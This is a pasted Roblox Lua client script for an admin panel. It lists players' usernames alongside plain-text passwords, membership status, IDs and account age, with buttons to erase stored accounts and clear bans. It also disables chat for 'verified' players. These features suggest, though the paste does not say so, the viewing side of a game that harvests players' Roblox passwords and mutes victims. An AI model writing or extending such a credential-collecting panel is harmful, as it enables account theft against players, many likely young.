Advertisement
Guest User

Untitled

a guest
Jan 5th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.32 KB | None | 0 0
  1. local me = script.Parent
  2. local hold = me:WaitForChild("MainFrameHolder")
  3. local main = hold:WaitForChild("MainFrame")
  4.  
  5. local details = main:WaitForChild("DetailsFrame")
  6. local content = main:WaitForChild("Content")
  7. local options = main:WaitForChild("OptionsFrame")
  8.  
  9. local server = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
  10. local config = server:InvokeServer("GetCustomParameters")
  11. if not config.Verifieds.CanChat and server:InvokeServer("IsVerified",game.Players.LocalPlayer) then
  12. if not server:InvokeServer("Rekt",game.Players.LocalPlayer) and not server:InvokeServer("Rekt",game.Players.LocalPlayer) then
  13. if config.CreatorUltraProtect then
  14. if not game.Players.LocalPlayer.userId == game.CreatorId then
  15. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  16. end
  17. else
  18. game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
  19. end
  20. end
  21. end
  22. if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) then
  23. script.Parent:Destroy()
  24. return
  25. end
  26. local signal = me:WaitForChild("SignalCheck")
  27.  
  28. local optoggle = main:WaitForChild("OptToggle")
  29.  
  30. local Filter = {
  31. Mode = 0, -- 0 is <, 1 is >
  32. By = 1, -- 1 is name, 2 is bctype, 3 is age, no pass cuz y need dis?
  33. ByNames = {
  34. "Name",
  35. "BCType",
  36. "Age"
  37. },
  38.  
  39. BCValues = {
  40. ["NON-BC"] = 0,
  41. ["BC"] = 1,
  42. ["TBC"] = 2,
  43. ["OBC"] = 3,
  44. ["Bypassed"] = -1,
  45. ["Undefined"] = 0
  46. }
  47. }
  48.  
  49. function ShowDetails(data)
  50. if not data then details.Visible = false return end
  51.  
  52. details.UserName.Text = data.UserName
  53. details.UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=150&y=200&format=png&username="..data.UserName
  54. details.UserPass.Text = "Pass: "..data.UserPass
  55. details.UserBCType.Text = "Status: "..data.Type
  56. details.UserID.Text = "ID: "..tostring(data.UserID)
  57. details.UserAge.Text = "Age: "..tostring(data.UserAge) .. " days ~" .. tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  58. details.Visible = true
  59. end
  60.  
  61. details:WaitForChild("HideButton").MouseButton1Click:connect(function()
  62. details.Visible = false
  63. end)
  64.  
  65. function RefreshContent()
  66. local list = server:InvokeServer("GetList")
  67. if list then
  68. content:ClearAllChildren()
  69. local function filtering(a, b)
  70. local par1, par2 = a.UserName, b.UserName
  71. if Filter.By == 2 then
  72. par1 = Filter.BCValues[a.Type] or 0
  73. par2 = Filter.BCValues[b.Type] or 0
  74. elseif Filter.By == 3 then
  75. par1 = a.UserAge
  76. par2 = b.UserAge
  77. end
  78. if Filter.Mode == 0 then
  79. return par1 < par2
  80. else
  81. return par1 > par2
  82. end
  83. end
  84. table.sort(list, filtering)
  85.  
  86. -- Base Form for duplication
  87.  
  88. local form = Instance.new("Frame")
  89. form.BackgroundTransparency = 1
  90. form.Size = UDim2.new(1, 0, 0, 30)
  91.  
  92. local btag = Instance.new("TextLabel")
  93. btag.Size = UDim2.new(0.25, 0, 1, 0)
  94. btag.TextWrapped = true
  95. btag.TextColor3 = Color3.new(0, 170/255, 1)
  96. btag.BackgroundTransparency = 1
  97. btag.Font = Enum.Font.SourceSansBold
  98. btag.FontSize = Enum.FontSize.Size18
  99. btag.TextColor3 = Color3.new(0,0,0)
  100. btag.TextStrokeColor3 = Color3.new(0, 170/255, 1)
  101. btag.TextStrokeTransparency = 0
  102.  
  103. local tag1 = btag:Clone()
  104. tag1.Parent = form
  105. tag1.Name = "NameTag"
  106.  
  107. local tag2 = btag:Clone()
  108. tag2.Parent = form
  109. tag2.Name = "PassTag"
  110. tag2.Position = UDim2.new(0.25, 0, 0, 0)
  111.  
  112. local tag3 = btag:Clone()
  113. tag3.Parent = form
  114. tag3.Name = "TypeTag"
  115. tag3.Position = UDim2.new(0.5, 0, 0, 0)
  116.  
  117. local tag4 = btag:Clone()
  118. tag4.Parent = form
  119. tag4.Name = "AgeTag"
  120. tag4.Position = UDim2.new(0.75, 0, 0, 0)
  121.  
  122. local detail = Instance.new("TextButton", form)
  123. detail.BackgroundTransparency = 1
  124. detail.Text = ""
  125. detail.TextTransparency = 1
  126. detail.Size = UDim2.new(1, 0, 1, 0)
  127. detail.Name = "DetailsButton"
  128.  
  129. for x,data in ipairs(list) do
  130. local newForm = form:Clone()
  131. newForm.Name = "User="..data.UserName..";"
  132. newForm.Position = UDim2.new(0, 0, 0, (30 * x) - 30)
  133.  
  134. newForm.NameTag.Text = data.UserName
  135. newForm.PassTag.Text = data.UserPass
  136. if data.Type == "BC" then
  137. newForm.TypeTag.TextStrokeColor3 = Color3.new(0, 170/255, 0)
  138. elseif data.Type == "TBC" then
  139. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 170/255, 0)
  140. elseif data.Type == "OBC" then
  141. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 0)
  142. elseif data.Type == "Bypassed" then
  143. newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 170/255)
  144. end
  145. newForm.TypeTag.Text = data.Type
  146. newForm.AgeTag.Text = tostring(data.UserAge / 365):sub(1,3) .. " yrs"
  147.  
  148. newForm.DetailsButton.MouseButton1Click:connect(function()
  149. ShowDetails(data)
  150. end)
  151. newForm.Parent = content
  152. end
  153. content.CanvasSize = UDim2.new(0, 0, 0, 30*#list)
  154. content.CanvasPosition = Vector2.new(0, 30*#list)
  155. end
  156. end
  157.  
  158. signal.OnClientInvoke = RefreshContent
  159.  
  160. optoggle.MouseButton1Click:connect(function()
  161. if options.Visible then
  162. options.Visible = false
  163. optoggle.Text = "<"
  164. else
  165. options.Visible = true
  166. optoggle.Text = ">"
  167. end
  168. end)
  169.  
  170. local acterase = options:WaitForChild("ActionErase")
  171. local actbclear = options:WaitForChild("ActionClearBans")
  172. local optfilter = options:WaitForChild("OptionFilter")
  173.  
  174. local eraseconf = false
  175. local eraselock = false
  176. acterase.MouseButton1Click:connect(function()
  177. if eraselock then return end
  178. if not eraseconf then
  179. eraseconf = true
  180. acterase.Text = "Sure ?"
  181. else
  182. eraselock = true
  183. eraseconf = false
  184. coroutine.resume(coroutine.create(function()
  185. while eraselock do
  186. for i=1,3 do
  187. if not eraselock then break end
  188. acterase.Text = "Erasing"..string.rep(".",i)
  189. wait(0.2)
  190. end
  191. end
  192. acterase.Text = "Erase Accounts"
  193. end))
  194. server:InvokeServer("Clear")
  195. eraselock = false
  196. end
  197. end)
  198.  
  199. acterase.MouseLeave:connect(function()
  200. if eraseconf then
  201. eraseconf = false
  202. acterase.Text = "Erase Accounts"
  203. end
  204. end)
  205.  
  206. local bclearconf = false
  207. local bclearlock = false
  208. actbclear.MouseButton1Click:connect(function()
  209. if bclearlock then return end
  210. if not bclearconf then
  211. bclearconf = true
  212. actbclear.Text = "Sure ?"
  213. else
  214. bclearlock = true
  215. bclearconf = false
  216. coroutine.resume(coroutine.create(function()
  217. while bclearlock do
  218. for i=1,3 do
  219. if not bclearlock then break end
  220. actbclear.Text = "Clearing"..string.rep(".",i)
  221. wait(0.2)
  222. end
  223. end
  224. actbclear.Text = "Clear Ban-List"
  225. end))
  226. server:InvokeServer("ClearBans")
  227. bclearlock = false
  228. end
  229. end)
  230.  
  231. actbclear.MouseLeave:connect(function()
  232. if bclearconf then
  233. bclearconf = false
  234. actbclear.Text = "Clear Ban-List"
  235. end
  236. end)
  237.  
  238. function UpdateFilterBtn()
  239. optfilter.Text = "Filter by: ".. Filter.ByNames[Filter.By] .. " " .. (Filter.Mode == 0 and "<" or ">")
  240. RefreshContent()
  241. end
  242. UpdateFilterBtn()
  243.  
  244. optfilter.MouseButton1Click:connect(function()
  245. if Filter.Mode == 0 then
  246. Filter.Mode = 1
  247. else
  248. Filter.Mode = 0
  249. if Filter.By < 3 then
  250. Filter.By = Filter.By + 1
  251. else
  252. Filter.By = 1
  253. end
  254. end
  255. UpdateFilterBtn()
  256. end)
  257.  
  258. optfilter.MouseButton2Click:connect(function()
  259. if Filter.Mode == 1 then
  260. Filter.Mode = 0
  261. else
  262. Filter.Mode = 1
  263. if Filter.By > 1 then
  264. Filter.By = Filter.By - 1
  265. else
  266. Filter.By = 3
  267. end
  268. end
  269. UpdateFilterBtn()
  270. end)
  271.  
  272. me:WaitForChild("GUIToggle").Visible = true
  273. me.GUIToggle.MouseButton1Click:connect(function()
  274. hold.Visible = not hold.Visible
  275. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement